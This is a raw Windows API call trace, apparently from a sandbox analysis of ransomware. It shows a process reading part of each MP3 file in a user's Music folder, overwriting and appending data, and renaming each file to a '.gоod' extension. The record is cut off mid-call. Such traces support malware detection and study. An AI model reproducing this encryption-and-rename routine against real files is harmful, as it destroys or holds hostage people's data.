[0216.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.546] GetFileType (hFile=0x828) returned 0x1 [0216.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.546] GetFileType (hFile=0x828) returned 0x1 [0216.546] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1186 [0216.546] WriteFile (in: hFile=0x828, lpBuffer=0x3627488*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202eb808, lpOverlapped=0x0 | out: lpBuffer=0x3627488*, lpNumberOfBytesWritten=0x202eb808*=0x10, lpOverlapped=0x0) returned 1 [0216.546] CloseHandle (hObject=0x828) returned 1 [0216.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", lpFilePart=0x0) returned 0x67 [0216.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.546] GetFileType (hFile=0x828) returned 0x1 [0216.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.547] GetFileType (hFile=0x828) returned 0x1 [0216.547] ReadFile (in: hFile=0x828, lpBuffer=0x3629798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb898, lpOverlapped=0x0 | out: lpBuffer=0x3629798*, lpNumberOfBytesRead=0x202eb898*=0x1000, lpOverlapped=0x0) returned 1 [0216.573] CloseHandle (hObject=0x828) returned 1 [0216.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", lpFilePart=0x0) returned 0x67 [0216.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.573] GetFileType (hFile=0x828) returned 0x1 [0216.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.573] GetFileType (hFile=0x828) returned 0x1 [0216.574] WriteFile (in: hFile=0x828, lpBuffer=0x36284a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202eb948, lpOverlapped=0x0 | out: lpBuffer=0x36284a0*, lpNumberOfBytesWritten=0x202eb948*=0x1010, lpOverlapped=0x0) returned 1 [0216.574] CloseHandle (hObject=0x828) returned 1 [0216.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", lpFilePart=0x0) returned 0x67 [0216.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3.gоod", lpFilePart=0x0) returned 0x6c [0216.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb880) returned 1 [0216.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202eb960 | out: lpFileInformation=0x202eb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade98360, ftCreationTime.dwHighDateTime=0x1d4cc32, ftLastAccessTime.dwLowDateTime=0xf5337080, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0x7d4d837e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1196)) returned 1 [0216.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb840) returned 1 [0216.574] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3.gоod")) returned 1 [0216.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", lpFilePart=0x0) returned 0x66 [0216.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb8c0) returned 1 [0216.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), fInfoLevelId=0x0, lpFileInformation=0x36a6cf0 | out: lpFileInformation=0x36a6cf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862e9c60, ftCreationTime.dwHighDateTime=0x1d4d11f, ftLastAccessTime.dwLowDateTime=0x5eb743f0, ftLastAccessTime.dwHighDateTime=0x1d4d591, ftLastWriteTime.dwLowDateTime=0x5eb743f0, ftLastWriteTime.dwHighDateTime=0x1d4d591, nFileSizeHigh=0x0, nFileSizeLow=0x6c45)) returned 1 [0216.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb880) returned 1 [0216.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", lpFilePart=0x0) returned 0x66 [0216.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.575] GetFileType (hFile=0x828) returned 0x1 [0216.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.575] GetFileType (hFile=0x828) returned 0x1 [0216.576] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1000 [0216.576] ReadFile (in: hFile=0x828, lpBuffer=0x36a7198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb8e8, lpOverlapped=0x0 | out: lpBuffer=0x36a7198*, lpNumberOfBytesRead=0x202eb8e8*=0x1000, lpOverlapped=0x0) returned 1 [0216.576] CloseHandle (hObject=0x828) returned 1 [0216.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", lpFilePart=0x0) returned 0x66 [0216.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.577] GetFileType (hFile=0x828) returned 0x1 [0216.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.577] GetFileType (hFile=0x828) returned 0x1 [0216.577] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x6c45 [0216.577] WriteFile (in: hFile=0x828, lpBuffer=0x36a8478*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202eb808, lpOverlapped=0x0 | out: lpBuffer=0x36a8478*, lpNumberOfBytesWritten=0x202eb808*=0x10, lpOverlapped=0x0) returned 1 [0216.577] CloseHandle (hObject=0x828) returned 1 [0216.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", lpFilePart=0x0) returned 0x66 [0216.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.577] GetFileType (hFile=0x828) returned 0x1 [0216.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.577] GetFileType (hFile=0x828) returned 0x1 [0216.577] ReadFile (in: hFile=0x828, lpBuffer=0x36aa780, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb898, lpOverlapped=0x0 | out: lpBuffer=0x36aa780*, lpNumberOfBytesRead=0x202eb898*=0x1000, lpOverlapped=0x0) returned 1 [0217.254] CloseHandle (hObject=0x828) returned 1 [0217.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", lpFilePart=0x0) returned 0x66 [0217.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0217.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0217.254] GetFileType (hFile=0x828) returned 0x1 [0217.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0217.254] GetFileType (hFile=0x828) returned 0x1 [0217.254] WriteFile (in: hFile=0x828, lpBuffer=0x354a0f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202eb948, lpOverlapped=0x0 | out: lpBuffer=0x354a0f8*, lpNumberOfBytesWritten=0x202eb948*=0x1010, lpOverlapped=0x0) returned 1 [0217.254] CloseHandle (hObject=0x828) returned 1 [0217.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3", lpFilePart=0x0) returned 0x66 [0217.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3.gоod", lpFilePart=0x0) returned 0x6b [0217.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb880) returned 1 [0217.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202eb960 | out: lpFileInformation=0x202eb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862e9c60, ftCreationTime.dwHighDateTime=0x1d4d11f, ftLastAccessTime.dwLowDateTime=0x5eb743f0, ftLastAccessTime.dwHighDateTime=0x1d4d591, ftLastWriteTime.dwLowDateTime=0x7db408dc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c55)) returned 1 [0217.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb840) returned 1 [0217.259] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\fv9mHKsgg4JTzWi.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\fv9mhksgg4jtzwi.mp3.gоod")) returned 1 [0217.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", lpFilePart=0x0) returned 0x6a [0217.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb8c0) returned 1 [0217.260] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3684c68 | out: lpFileInformation=0x3684c68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a125d0, ftCreationTime.dwHighDateTime=0x1d4c58e, ftLastAccessTime.dwLowDateTime=0x5b9ada10, ftLastAccessTime.dwHighDateTime=0x1d4c62d, ftLastWriteTime.dwLowDateTime=0x5b9ada10, ftLastWriteTime.dwHighDateTime=0x1d4c62d, nFileSizeHigh=0x0, nFileSizeLow=0xb519)) returned 1 [0217.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb880) returned 1 [0217.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", lpFilePart=0x0) returned 0x6a [0217.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0217.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0217.260] GetFileType (hFile=0x828) returned 0x1 [0217.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0217.261] GetFileType (hFile=0x828) returned 0x1 [0217.261] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1000 [0217.261] ReadFile (in: hFile=0x828, lpBuffer=0x3685130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb8e8, lpOverlapped=0x0 | out: lpBuffer=0x3685130*, lpNumberOfBytesRead=0x202eb8e8*=0x1000, lpOverlapped=0x0) returned 1 [0217.261] CloseHandle (hObject=0x828) returned 1 [0217.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", lpFilePart=0x0) returned 0x6a [0217.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0217.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0217.262] GetFileType (hFile=0x828) returned 0x1 [0217.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0217.262] GetFileType (hFile=0x828) returned 0x1 [0217.262] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0xb519 [0217.262] WriteFile (in: hFile=0x828, lpBuffer=0x3686420*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202eb808, lpOverlapped=0x0 | out: lpBuffer=0x3686420*, lpNumberOfBytesWritten=0x202eb808*=0x10, lpOverlapped=0x0) returned 1 [0217.262] CloseHandle (hObject=0x828) returned 1 [0217.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", lpFilePart=0x0) returned 0x6a [0217.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0217.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0217.262] GetFileType (hFile=0x828) returned 0x1 [0217.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0217.262] GetFileType (hFile=0x828) returned 0x1 [0217.262] ReadFile (in: hFile=0x828, lpBuffer=0x3688738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb898, lpOverlapped=0x0 | out: lpBuffer=0x3688738*, lpNumberOfBytesRead=0x202eb898*=0x1000, lpOverlapped=0x0) returned 1 [0218.610] CloseHandle (hObject=0x828) returned 1 [0218.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", lpFilePart=0x0) returned 0x6a [0218.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0218.610] CreateFileW 